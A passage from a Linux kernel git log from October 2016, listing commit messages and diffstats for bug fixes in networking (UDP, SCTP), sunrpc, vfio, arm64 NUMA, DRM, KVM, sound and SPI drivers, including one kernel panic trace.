-0700 udp: fix IP_CHECKSUM handling First bug was added in commit ad6f939ab193 ("ip: Add offset parameter to ip_cmsg_recv") : Tom missed that ipv4 udp messages could be received on AF_INET6 socket. ip_cmsg_recv(msg, skb) should have been replaced by ip_cmsg_recv_offset(msg, skb, sizeof(struct udphdr)); Then commit e6afc8ace6dd ("udp: remove headers from UDP packets before queueing") forgot to adjust the offsets now UDP headers are pulled before skb are put in receive queue. Fixes: ad6f939ab193 ("ip: Add offset parameter to ip_cmsg_recv") Fixes: e6afc8ace6dd ("udp: remove headers from UDP packets before queueing") Signed-off-by: Eric Dumazet Cc: Sam Kumar Cc: Willem de Bruijn Tested-by: Willem de Bruijn Signed-off-by: David S. Miller include/net/ip.h | 4 ++-- net/ipv4/ip_sockglue.c | 11 ++++++----- net/ipv4/udp.c | 2 +- net/ipv6/udp.c | 3 ++- 4 files changed, 11 insertions(+), 9 deletions(-) commit ecc515d7238f2cffac839069d56dc271141defa0 Author: Xin Long Date: Mon Oct 24 01:01:09 2016 +0800 sctp: fix the panic caused by route update Commit 7303a1475008 ("sctp: identify chunks that need to be fragmented at IP level") made the chunk be fragmented at IP level in the next round if it's size exceed PMTU. But there still is another case, PMTU can be updated if transport's dst expires and transport's pmtu_pending is set in sctp_packet_transmit. If the new PMTU is less than the chunk, the same issue with that commit can be triggered. So we should drop this packet and let it retransmit in another round where it would be fragmented at IP level. This patch is to fix it by checking the chunk size after PMTU may be updated and dropping this packet if it's size exceed PMTU. Fixes: 90017accff61 ("sctp: Add GSO support") Signed-off-by: Xin Long Acked-by: Neil Horman Signed-off-by: David S. Miller net/sctp/output.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 293de7dee4f9602676846dbeb84b1580123306b4 Author: Stephen Hemminger Date: Sun Oct 23 09:28:29 2016 -0700 doc: update docbook annotations for socket and skb The skbuff and sock structure both had missing parameter annotation values. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller include/linux/skbuff.h | 1 + include/net/sock.h | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) commit 92d230dd8cafac417e130e404d4b64eafe2271de Author: Wei Yongjun Date: Sat Oct 22 14:31:06 2016 +0000 rocker: fix error return code in rocker_world_check_init() Fix to return error code -EINVAL from the error handling case instead of 0, as done elsewhere in this function. Fixes: e420114eef4a ("rocker: introduce worlds infrastructure") Signed-off-by: Wei Yongjun Acked-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/rocker/rocker_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2876a34466ce382a76b9ffb34757bb48928ac743 Author: J. Bruce Fields Date: Tue Oct 18 16:30:09 2016 -0400 sunrpc: don't pass on-stack memory to sg_set_buf As of ac4e97abce9b "scatterlist: sg_set_buf() argument must be in linear mapping", sg_set_buf hits a BUG when make_checksum_v2->xdr_process_buf, among other callers, passes it memory on the stack. We only need a scatterlist to pass this to the crypto code, and it seems like overkill to require kmalloc'd memory just to encrypt a few bytes, but for now this seems the best fix. Many of these callers are in the NFS write paths, so we allocate with GFP_NOFS. It might be possible to do without allocations here entirely, but that would probably be a bigger project. Cc: Rusty Russell Signed-off-by: J. Bruce Fields net/sunrpc/auth_gss/auth_gss.c | 13 ++++-- net/sunrpc/auth_gss/gss_krb5_crypto.c | 82 ++++++++++++++++++++--------------- net/sunrpc/auth_gss/svcauth_gss.c | 21 ++++++--- 3 files changed, 71 insertions(+), 45 deletions(-) commit 05692d7005a364add85c6e25a6c4447ce08f913a Author: Vlad Tsyrklevich Date: Wed Oct 12 18:51:24 2016 +0200 vfio/pci: Fix integer overflows, bitmask check The VFIO_DEVICE_SET_IRQS ioctl did not sufficiently sanitize user-supplied integers, potentially allowing memory corruption. This patch adds appropriate integer overflow checks, checks the range bounds for VFIO_IRQ_SET_DATA_NONE, and also verifies that only single element in the VFIO_IRQ_SET_DATA_TYPE_MASK bitmask is set. VFIO_IRQ_SET_ACTION_TYPE_MASK is already correctly checked later in vfio_pci_set_irqs_ioctl(). Furthermore, a kzalloc is changed to a kcalloc because the use of a kzalloc with an integer multiplication allowed an integer overflow condition to be reached without this patch. kcalloc checks for overflow and should prevent a similar occurrence. Signed-off-by: Vlad Tsyrklevich Signed-off-by: Alex Williamson drivers/vfio/pci/vfio_pci.c | 33 +++++++++++++++++++++------------ drivers/vfio/pci/vfio_pci_intrs.c | 2 +- 2 files changed, 22 insertions(+), 13 deletions(-) commit ad110449e285c75eb53357e87419a73c96ccb1b9 Author: Srinivas Kandagatla Date: Tue Oct 25 14:42:51 2016 +0100 PCI: qcom: Fix pp->dev usage before assignment Initialize pp->dev in qcom_pcie_probe() before calling get_resources(), which uses it. [bhelgaas: changelog] Fixes: e6a087eeaf91 ("PCI: qcom: Remove redundant struct qcom_pcie.dev") Signed-off-by: Srinivas Kandagatla Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-qcom.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7dc86ef5ac91642dfc3eb93ee0f0458e702a343e Author: Alex Deucher Date: Fri Oct 14 16:38:02 2016 -0400 drm/radeon/si_dpm: workaround for SI kickers Consolidate existing quirks. Fixes stability issues on some kickers. Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/si_dpm.c | 59 ++++++++++++++++++++++++++++++----------- 1 file changed, 43 insertions(+), 16 deletions(-) commit 49a5d73fd03528289c315d345e4917a1ba2b48e7 Author: Rex Zhu Date: Fri Oct 21 16:55:02 2016 +0800 drm/amdgpu: fix s3 resume back, uvd dpm randomly can't disable. the value of last_mclk_dpm_enable_mask will be changed if other clients(vce,dal) trigger set power state between enable and disable uvd dpm. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/ci_dpm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3fa72fe9c614717d22ae75b84d45f41da65c10fe Author: Neeraj Upadhyay Date: Fri Oct 21 14:28:46 2016 +0530 arm64: mm: fix __page_to_voff definition Fix parameter name for __page_to_voff, to match its definition. At present, we don't see any issue, as page_to_virt's caller declares 'page'. Fixes: 9f2875912dac ("arm64: mm: restrict virt_to_page() to the linear mapping") Acked-by: Mark Rutland Acked-by: Ard Biesheuvel Signed-off-by: Neeraj Upadhyay Signed-off-by: Will Deacon arch/arm64/include/asm/memory.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3f7a09f44e5ef8a2629842f2d22892114e603fc1 Author: Hanjun Guo Date: Fri Oct 21 16:13:56 2016 +0800 arm64/numa: fix incorrect log for memory-less node When booting on NUMA system with memory-less node (no memory dimm on this memory controller), the print for setup_node_data() is incorrect: NUMA: Initmem setup node 2 [mem 0x00000000-0xffffffffffffffff] It can be fixed by printing [mem 0x00000000-0x00000000] when end_pfn is 0, but print will be more useful. Fixes: 1a2db300348b ("arm64, numa: Add NUMA support for arm64 platforms.") Signed-off-by: Hanjun Guo Cc: Catalin Marinas Cc: Ganapatrao Kulkarni Cc: Lorenzo Pieralisi Cc: Mark Rutland Cc: Will Deacon Cc: Yisheng Xie Signed-off-by: Will Deacon arch/arm64/mm/numa.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 26984c3bc29aa15b705475177842feddcd3d9df0 Author: Yisheng Xie Date: Fri Oct 21 16:13:55 2016 +0800 arm64/numa: fix pcpu_cpu_distance() to get correct CPU proximity The pcpu_build_alloc_info() function group CPUs according to their proximity, by call callback function @cpu_distance_fn from different ARCHs. For arm64 the callback of @cpu_distance_fn is pcpu_cpu_distance(from, to) -> node_distance(from, to) The @from and @to for function node_distance() should be nid. However, pcpu_cpu_distance() in arch/arm64/mm/numa.c just past the cpu id for @from and @to, and didn't convert to numa node id. For this incorrect cpu proximity get from ARCH, it may cause each CPU in one group and make group_cnt out of bound: setup_per_cpu_areas() pcpu_embed_first_chunk() pcpu_build_alloc_info() in pcpu_build_alloc_info, since cpu_distance_fn will return REMOTE_DISTANCE if we pass cpu ids (0,1,2...), so cpu_distance_fn(cpu, tcpu) > LOCAL_DISTANCE will wrongly be ture. This may results in triggering the BUG_ON(unit != nr_units) later: [ 0.000000] kernel BUG at mm/percpu.c:1916! [ 0.000000] Internal error: Oops - BUG: 0 [#1] PREEMPT SMP [ 0.000000] Modules linked in: [ 0.000000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.9.0-rc1-00003-g14155ca-dirty #26 [ 0.000000] Hardware name: Hisilicon Hi1616 Evaluation Board (DT) [ 0.000000] task: ffff000008d6e900 task.stack: ffff000008d60000 [ 0.000000] PC is at pcpu_embed_first_chunk+0x420/0x704 [ 0.000000] LR is at pcpu_embed_first_chunk+0x3bc/0x704 [ 0.000000] pc : [] lr : [] pstate: 800000c5 [ 0.000000] sp : ffff000008d63eb0 [ 0.000000] x29: ffff000008d63eb0 [ 0.000000] x28: 0000000000000000 [ 0.000000] x27: 0000000000000040 [ 0.000000] x26: ffff8413fbfcef00 [ 0.000000] x25: 0000000000000042 [ 0.000000] x24: 0000000000000042 [ 0.000000] x23: 0000000000001000 [ 0.000000] x22: 0000000000000046 [ 0.000000] x21: 0000000000000001 [ 0.000000] x20: ffff000008cb3bc8 [ 0.000000] x19: ffff8413fbfcf570 [ 0.000000] x18: 0000000000000000 [ 0.000000] x17: ffff000008e49ae0 [ 0.000000] x16: 0000000000000003 [ 0.000000] x15: 000000000000001e [ 0.000000] x14: 0000000000000004 [ 0.000000] x13: 0000000000000000 [ 0.000000] x12: 000000000000006f [ 0.000000] x11: 00000413fbffff00 [ 0.000000] x10: 0000000000000004 [ 0.000000] x9 : 0000000000000000 [ 0.000000] x8 : 0000000000000001 [ 0.000000] x7 : ffff8413fbfcf63c [ 0.000000] x6 : ffff000008d65d28 [ 0.000000] x5 : ffff000008d65e50 [ 0.000000] x4 : 0000000000000000 [ 0.000000] x3 : ffff000008cb3cc8 [ 0.000000] x2 : 0000000000000040 [ 0.000000] x1 : 0000000000000040 [ 0.000000] x0 : 0000000000000000 [...] [ 0.000000] Call trace: [ 0.000000] Exception stack(0xffff000008d63ce0 to 0xffff000008d63e10) [ 0.000000] 3ce0: ffff8413fbfcf570 0001000000000000 ffff000008d63eb0 ffff000008c754f4 [ 0.000000] 3d00: ffff000008d63d50 ffff0000081af210 00000413fbfff010 0000000000001000 [ 0.000000] 3d20: ffff000008d63d50 ffff0000081af220 00000413fbfff010 0000000000001000 [ 0.000000] 3d40: 00000413fbfcef00 0000000000000004 ffff000008d63db0 ffff0000081af390 [ 0.000000] 3d60: 00000413fbfcef00 0000000000001000 0000000000000000 0000000000001000 [ 0.000000] 3d80: 0000000000000000 0000000000000040 0000000000000040 ffff000008cb3cc8 [ 0.000000] 3da0: 0000000000000000 ffff000008d65e50 ffff000008d65d28 ffff8413fbfcf63c [ 0.000000] 3dc0: 0000000000000001 0000000000000000 0000000000000004 00000413fbffff00 [ 0.000000] 3de0: 000000000000006f 0000000000000000 0000000000000004 000000000000001e [ 0.000000] 3e00: 0000000000000003 ffff000008e49ae0 [ 0.000000] [] pcpu_embed_first_chunk+0x420/0x704 [ 0.000000] [] setup_per_cpu_areas+0x38/0xc8 [ 0.000000] [] start_kernel+0x10c/0x390 [ 0.000000] [] __primary_switched+0x5c/0x64 [ 0.000000] Code: b8018660 17ffffd7 6b16037f 54000080 (d4210000) [ 0.000000] ---[ end trace 0000000000000000 ]--- [ 0.000000] Kernel panic - not syncing: Attempted to kill the idle task! Fix by getting cpu's node id with early_cpu_to_node() then pass it to node_distance() as the original intention. Fixes: 7af3a0a99252 ("arm64/numa: support HAVE_SETUP_PER_CPU_AREA") Signed-off-by: Yisheng Xie Signed-off-by: Hanjun Guo Cc: Catalin Marinas Cc: Lorenzo Pieralisi Cc: Will Deacon Cc: Zhen Lei Signed-off-by: Will Deacon arch/arm64/mm/numa.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a236441bb69723032db94128761a469030c3fe6d Author: David S. Miller Date: Wed Oct 26 10:20:14 2016 -0700 sparc64: Fix illegal relative branches in hypervisor patched TLB cross-call code. Just like the non-cross-call TLB flush handlers, the cross-call ones need to avoid doing PC-relative branches outside of their code blocks. Signed-off-by: David S. Miller arch/sparc/mm/ultra.S | 42 ++++++++++++++++++++++++++++++------------ 1 file changed, 30 insertions(+), 12 deletions(-) commit 830cda3f9855ff092b0e9610346d110846fc497c Author: David S. Miller Date: Wed Oct 26 10:08:22 2016 -0700 sparc64: Fix instruction count in comment for __hypervisor_flush_tlb_pending. Noticed by James Clarke. Signed-off-by: David S. Miller arch/sparc/mm/ultra.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4da5caa6a6f82cda3193bca855235b87debf78bd Author: Ville Syrjälä Date: Wed Oct 26 12:05:55 2016 +0300 drm/dp/mst: Check peer device type before attempting EDID read Only certain types of pdts have the DDC bus registered, so check for that before we attempt the EDID read. Othwewise we risk playing around with an i2c adapter that doesn't actually exist. Cc: stable@vger.kernel.org Cc: Carlos Santa Cc: Kirill A. Shutemov Tested-by: Carlos Santa Tested-by: Kirill A. Shutemov Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97666 Signed-off-by: Ville Syrjälä Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1477472755-15288-5-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_dp_mst_topology.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 36e3fa6a38e135e9478a2f75dec9bf6ff1e6480e Author: Ville Syrjälä Date: Wed Oct 26 16:30:33 2016 +0300 drm/dp/mst: Clear port->pdt when tearing down the i2c adapter The i2c adapter is only relevant for some peer device types, so let's clear the pdt if it's still the same as the old_pdt when we tear down the i2c adapter. I don't really like this design pattern of updating port->whatever before doing the accompanying changes and passing around old_whatever to figure stuff out. Would make much more sense to me to the pass the new value around and only update the port->whatever when things are consistent. But let's try to work with what we have right now. Quoting a follow-up from Ville: "And naturally I forgot to amend the commit message w.r.t. this guy [the change in drm_dp_destroy_port]. We don't really need to do this here, but I figured I'd try to be a bit more consistent by having it, just to avoid accidental mistakes if/when someone changes this stuff again later." v2: Clear port->pdt in the caller, if needed (Daniel) Cc: Daniel Vetter Cc: stable@vger.kernel.org Cc: Carlos Santa Cc: Kirill A. Shutemov Tested-by: Carlos Santa (v1) Tested-by: Kirill A. Shutemov (v1) Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97666 Signed-off-by: Ville Syrjälä Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1477488633-16544-1-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_dp_mst_topology.c | 2 ++ 1 file changed, 2 insertions(+) commit a2889606636d135148de101fe3311dfea67baf1c Author: Ville Syrjälä Date: Wed Oct 26 17:41:18 2016 +0300 drm/fb-helper: Keep references for the current set of used connectors The fbdev helper code keeps around two lists of connectors. One is the list of all connectors it could use, and that list already holds references for all the connectors. However the other list, or rather lists, is the one actively being used. That list is tracked per-crtc and currently doesn't hold any extra references. Let's grab those extra references to avoid oopsing when the connector vanishes. The list of all possible connectors should get updated when the hpd happens, but the list of actively used connectors would not get updated until the next time the fb-helper picks through the set of possible connectors. And so we need to hang on to the connectors until that time. Since we need to clean up in drm_fb_helper_crtc_free() as well, let's pull the code to a common place. And while at it let's pull in up the modeset->mode cleanup in there as well. The case of modeset->fb is a bit less clear. I'm thinking we should probably hold a reference to it, but for now I just slapped on a FIXME. v2: Cleanup things drm_fb_helper_crtc_free() too (Chris) v3: Don't leak modeset->connectors (Chris) Cc: Chris Wilson Cc: stable@vger.kernel.org Cc: Carlos Santa Cc: Kirill A. Shutemov Tested-by: Carlos Santa (v1) Tested-by: Kirill A. Shutemov (v1) Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97666 Signed-off-by: Ville Syrjälä Reviewed-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1477492878-4990-1-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_fb_helper.c | 57 ++++++++++++++++++++++++----------------- 1 file changed, 33 insertions(+), 24 deletions(-) commit 38d868e41c4b9250d5a115c049dc2d48f4909581 Author: Ville Syrjälä Date: Mon Oct 10 17:50:56 2016 +0300 drm: Don't force all planes to be added to the state due to zpos We don't want all planes to be added to the state whenever a plane with fixed zpos gets enabled/disabled. This is true especially for eg. cursor planes on i915, as we want cursor updates to go through w/o throttling. Same holds for drivers that don't support zpos at all (i915 actually falls into this category right now since we've not yet added zpos support). Allow drivers more freedom by letting them deal with zpos themselves instead of doing it in drm_atomic_helper_check_planes() unconditionally. Let's just inline the required calls into all the driver that currently depend on this. v2: Inline the stuff into the drivers instead of adding another helper, document things better (Daniel) Cc: Daniel Vetter Cc: Marek Szyprowski Cc: Benjamin Gaignard Cc: Vincent Abriou Cc: Laurent Pinchart Cc: Inki Dae Cc: Joonyoung Shim Cc: Seung-Woo Kim Cc: Kyungmin Park Cc: Lyude Cc: Maarten Lankhorst Cc: stable@vger.kernel.org Fixes: 44d1240d006c ("drm: add generic zpos property") Signed-off-by: Ville Syrjälä Reviewed-by: Sean Paul Acked-by: Benjamin Gaignard Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1476111056-12734-1-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_atomic_helper.c | 4 ---- drivers/gpu/drm/exynos/exynos_drm_drv.c | 20 ++++++++++++++++++++ drivers/gpu/drm/exynos/exynos_drm_drv.h | 1 + drivers/gpu/drm/exynos/exynos_drm_fb.c | 2 +- drivers/gpu/drm/rcar-du/rcar_du_kms.c | 12 ++++++++++-- drivers/gpu/drm/sti/sti_drv.c | 22 +++++++++++++++++++++- include/drm/drm_plane.h | 8 +++++++- 7 files changed, 60 insertions(+), 9 deletions(-) commit 94d7dea448fae6cbb83395323c1d2fd7f19dc388 Author: Ming Lei Date: Wed Oct 26 16:57:15 2016 +0800 block: flush: fix IO hang in case of flood fua req This patch fixes one issue reported by Kent, which can be triggered in bcachefs over sata disk. Actually it is a generic issue in block flush vs. blk-tag. Cc: Christoph Hellwig Reported-by: Kent Overstreet Signed-off-by: Ming Lei Signed-off-by: Jens Axboe block/blk-flush.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 7dfcb36a1f17e4c7c7c12b9d8a6902037c7d98dc Author: Ville Syrjälä Date: Wed Oct 26 12:05:52 2016 +0300 drm/fb-helper: Fix connector ref leak on error We need to drop the connector references already taken when we abort in the middle of drm_fb_helper_single_add_all_connectors() Cc: stable@vger.kernel.org Cc: Carlos Santa Cc: Kirill A. Shutemov Tested-by: Carlos Santa Tested-by: Kirill A. Shutemov Signed-off-by: Ville Syrjälä Reviewed-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1477472755-15288-2-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/drm_fb_helper.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 36343f6ea721e003ed11b48a6a05d77a255b3a62 Author: Paolo Bonzini Date: Wed Oct 26 13:35:56 2016 +0200 KVM: fix OOPS on flush_work The conversion done by commit 3706feacd007 ("KVM: Remove deprecated create_singlethread_workqueue") is broken. It flushes a single work item &irqfd->shutdown instead of all of them, and even worse if there is no irqfd on the list then you get a NULL pointer dereference. Revert the virt/kvm/eventfd.c part of that patch; to avoid the deprecated function, just allocate our own workqueue---it does not even have to be unbound---with alloc_workqueue. Fixes: 3706feacd007 Reviewed-by: Cornelia Huck Signed-off-by: Paolo Bonzini virt/kvm/eventfd.c | 22 +++++++++++++++++++--- virt/kvm/kvm_main.c | 6 ++++++ 2 files changed, 25 insertions(+), 3 deletions(-) commit 45c7ee43a5184ddbff652ee0d2e826f86f1b616b Author: Janosch Frank Date: Wed Oct 26 08:48:11 2016 +0200 KVM: s390: Fix STHYI buffer alignment for diag224 Diag224 requires a page-aligned 4k buffer to store the name table into. kmalloc does not guarantee page alignment, hence we replace it with __get_free_page for the buffer allocation. Cc: stable@vger.kernel.org # v4.8+ Reported-by: Michael Holzheu Signed-off-by: Janosch Frank Reviewed-by: Cornelia Huck Signed-off-by: Christian Borntraeger arch/s390/kvm/sthyi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e1e575f6b026734be3b1f075e780e91ab08ca541 Author: James Hogan Date: Tue Oct 25 16:11:12 2016 +0100 KVM: MIPS: Precalculate MMIO load resume PC The advancing of the PC when completing an MMIO load is done before re-entering the guest, i.e. before restoring the guest ASID. However if the load is in a branch delay slot it may need to access guest code to read the prior branch instruction. This isn't safe in TLB mapped code at the moment, nor in the future when we'll access unmapped guest segments using direct user accessors too, as it could read the branch from host user memory instead. Therefore calculate the resume PC in advance while we're still in the right context and save it in the new vcpu->arch.io_pc (replacing the no longer needed vcpu->arch.pending_load_cause), and restore it on MMIO completion. Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Cc: # 3.10.x- Signed-off-by: Paolo Bonzini arch/mips/include/asm/kvm_host.h | 7 ++++--- arch/mips/kvm/emulate.c | 24 +++++++++++++++--------- 2 files changed, 19 insertions(+), 12 deletions(-) commit ede5f3e7b54a4347be4d8525269eae50902bd7cd Author: James Hogan Date: Tue Oct 25 16:11:11 2016 +0100 KVM: MIPS: Make ERET handle ERL before EXL The ERET instruction to return from exception is used for returning from exception level (Status.EXL) and error level (Status.ERL). If both bits are set however we should be returning from ERL first, as ERL can interrupt EXL, for example when an NMI is taken. KVM however checks EXL first. Fix the order of the checks to match the pseudocode in the instruction set manual. Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Cc: # 3.10.x- Signed-off-by: Paolo Bonzini arch/mips/kvm/emulate.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 9078210ef4016539c909fb67164d3f1c27323d8b Author: James Hogan Date: Tue Oct 25 16:08:19 2016 +0100 KVM: MIPS: Fix lazy user ASID regenerate for SMP kvm_mips_check_asids() runs before entering the guest and performs lazy regeneration of host ASID for guest usermode, using last_user_gasid to track the last guest ASID in the VCPU that was used by guest usermode on any host CPU. last_user_gasid is reset after performing the lazy ASID regeneration on the current CPU, and by kvm_arch_vcpu_load() if the host ASID for guest usermode is regenerated due to staleness (to cancel outstanding lazy ASID regenerations). Unfortunately neither case handles SMP hosts correctly: - When the lazy ASID regeneration is performed it should apply to all CPUs (as last_user_gasid does), so reset the ASID on other CPUs to zero to trigger regeneration when the VCPU is next loaded on those CPUs. - When the ASID is found to be stale on the current CPU, we should not cancel lazy ASID regenerations globally, so drop the reset of last_user_gasid altogether here. Both cases would require a guest ASID change and two host CPU migrations (and in the latter case one of the CPUs to start a new ASID cycle) before guest usermode could potentially access stale user pages from a previously running ASID in the same VCPU. Fixes: 25b08c7fb0e4 ("KVM: MIPS: Invalidate TLB by regenerating ASIDs") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini arch/mips/kvm/mips.c | 5 ++++- arch/mips/kvm/mmu.c | 4 ---- 2 files changed, 4 insertions(+), 5 deletions(-) commit 7e235deb69dc7b1c4b5e1ac63a3157ef98ceeff3 Author: Arnaud Pouliquen Date: Mon Oct 24 16:42:57 2016 +0200 ASoC: sti-sas: enable fast io for regmap Some registers accesses are done in atomic context. Enable fast io to use spinlock instead of mutex to protect access. Signed-off-by: Arnaud Pouliquen Signed-off-by: Mark Brown sound/soc/codecs/sti-sas.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1e6d304431958929b601b013687b73293ba27b88 Author: Arnaud Pouliquen Date: Mon Oct 24 16:42:52 2016 +0200 ASoC: sti: fix channel status update after playback start If 'IEC958 Playback Default' control is updated during playback, Channel status needs to be set according to the runtime structure. Signed-off-by: Arnaud Pouliquen Signed-off-by: Mark Brown sound/soc/sti/uniperif_player.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 5de0a8c0c240338cb5b73363b0673c6aa804bb1c Author: Steven Rostedt Date: Mon Oct 24 15:01:48 2016 -0400 x86: Fix export for mcount and __fentry__ Commit 784d5699eddc5 ("x86: move exports to actual definitions") removed the EXPORT_SYMBOL(__fentry__) and EXPORT_SYMBOL(mcount) from x8664_ksyms_64.c, and added EXPORT_SYMBOL(function_hook) in mcount_64.S instead. The problem is that function_hook isn't a function at all, but a macro that is defined as either mcount or __fentry__ depending on the support from gcc. Originally, I thought this was a macro issue, like what __stringify() is used for. But the problem is a bit deeper. The Makefile.build has some magic that does post processing of files to create the CRC bindings. It does some searches for EXPORT_SYMBOL() and because it finds a macro name and not the actual functions, this causes function_hook not to be converted into mcount or __fentry__ and they are missed. Instead of adding more magic to Makefile.build, just add EXPORT_SYMBOL() for mcount and __fentry__ where the ifdef is used. Since this is assembly and not C, it doesn't require being set after the function is defined. Signed-off-by: Steven Rostedt Tested-by: Borislav Petkov Cc: Gabriel C Cc: Nicholas Piggin Cc: Al Viro Link: http://lkml.kernel.org/r/20161024150148.4f9d90e4@gandalf.local.home Signed-off-by: Thomas Gleixner arch/x86/kernel/mcount_64.S | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 5c0ba57744b1422d528f19430dd66d6803cea86f Author: Arnd Bergmann Date: Tue Oct 25 22:57:10 2016 +0200 spi: fsl-espi: avoid processing uninitalized data on error When we get a spurious interrupt in fsl_espi_irq, we end up processing four uninitalized bytes of data, as shown in this warning message: drivers/spi/spi-fsl-espi.c: In function 'fsl_espi_irq': drivers/spi/spi-fsl-espi.c:462:4: warning: 'rx_data' may be used uninitialized in this function [-Wmaybe-uninitialized] This adds another check so we skip the data in this case. Fixes: 6319a68011b8 ("spi/fsl-espi: avoid infinite loops on fsl_espi_cpu_irq()") Signed-off-by: Arnd Bergmann Signed-off-by: Mark Brown Cc: stable@vger.kernel.org drivers/spi/spi-fsl-espi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 62c61514191bfe5731b43619b9b1bf4b423beeb0 Author: Stephen Hemminger Date: Sun Oct 23 09:32:34 2016 -0700 doc: Add missing parameter for msi_setup commit 92ca8d20dee2 ("genirq/msi: Switch to new irq spreading") introduced new parameter to msi_init_setup and but did not update docbook comments. Fixes 'make htmldocs' warning. Signed-off-by: Stephen Hemminger Cc: bhelgaas@google.com Cc: linux-pci@vger.kernel.org Signed-off-by: Thomas Gleixner drivers/pci/msi.c | 2 ++ 1 file changed, 2 insertions(+) commit cfcc1456e4a2afdca85c7df3baa777f18da1d642 Merge: 407a3ae 2925d36 Author: Greg Kroah-Hartman Date: Wed Oct 26 10:32:09 2016 +0200 Merge tag 'extcon-fixes-for-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/chanwoo/extcon into char-misc-linus Chanwoo writes: Update extcon for v4.9-rc3 This patch fixes the following issue: - Use the extcon_set_state_sync() to notify the changed state intead of extcon_set_state() in the Qualcomm USB extcon driver. commit 87d3b6588f9bf205902868d3e5baf68e37ad4ae1 Author: Takashi Iwai Date: Thu Oct 20 17:05:30 2016 +0200 drm/fb-helper: Don't call dirty callback for untouched clips Since 4.7 kernel, we've seen the error messages like kernel: [TTM] Buffer eviction failed kernel: qxl 0000:00:02.0: object_init failed for (4026540032, 0x00000001) kernel: [drm:qxl_alloc_bo_reserved [qxl]] *ERROR* failed to allocate VRAM BO on QXL when switching and accessing on VT. The culprit was the generic deferred_io code (qxl driver switched to it since 4.7). There is a race between the dirty clip update and the call of callback. In drm_fb_helper_dirty(), the dirty clip is updated in the spinlock, while it kicks off the update worker outside the spinlock. Meanwhile the update worker clears the dirty clip in the spinlock, too. Thus, when drm_fb_helper_dirty() is called concurrently, schedule_work() is called after the clip is cleared in the first worker call. This patch addresses it by validating the clip before calling the dirty fb callback. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98322 Bugzilla: https://bugzilla.suse.com/show_bug.cgi?id=1003298 Fixes: eaa434defaca ('drm/fb-helper: Add fb_deferred_io support') Cc: Signed-off-by: Takashi Iwai Reviewed-by: Ville Syrjälä Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161020150530.5787-1-tiwai@suse.de drivers/gpu/drm/drm_fb_helper.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit cac5fcedaabdadf150c8a9be9fee76defc8ba444 Author: Felix Monninger Date: Tue Oct 25 22:28:08 2016 +0100 drm: Release reference from blob lookup after replacing property drm_property_lookup_blob() returns a reference to the returned blob, and drm_atomic_replace_property_blob() takes a references to the blob it stores, so afterwards we are left owning a reference to the new_blob that we never release, and thus leak memory every time we update a property such as during drm_atomic_helper_legacy_gamma_set(). v2: update credentials, drm_property_unreference_blob() is NULL safe and NULL is passed consistently to it throughout drm_atomic.c so do so here. Reported-by: Felix Monninger Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98420 Signed-off-by: Felix Monninger Signed-off-by: Chris Wilson Cc: stable@vger.kernel.org Fixes: 5488dc16fde7 ("drm: introduce pipe color correction properties") Reviewed-by: Ville Syrjälä Signed-off-by: Daniel Vetter Link: 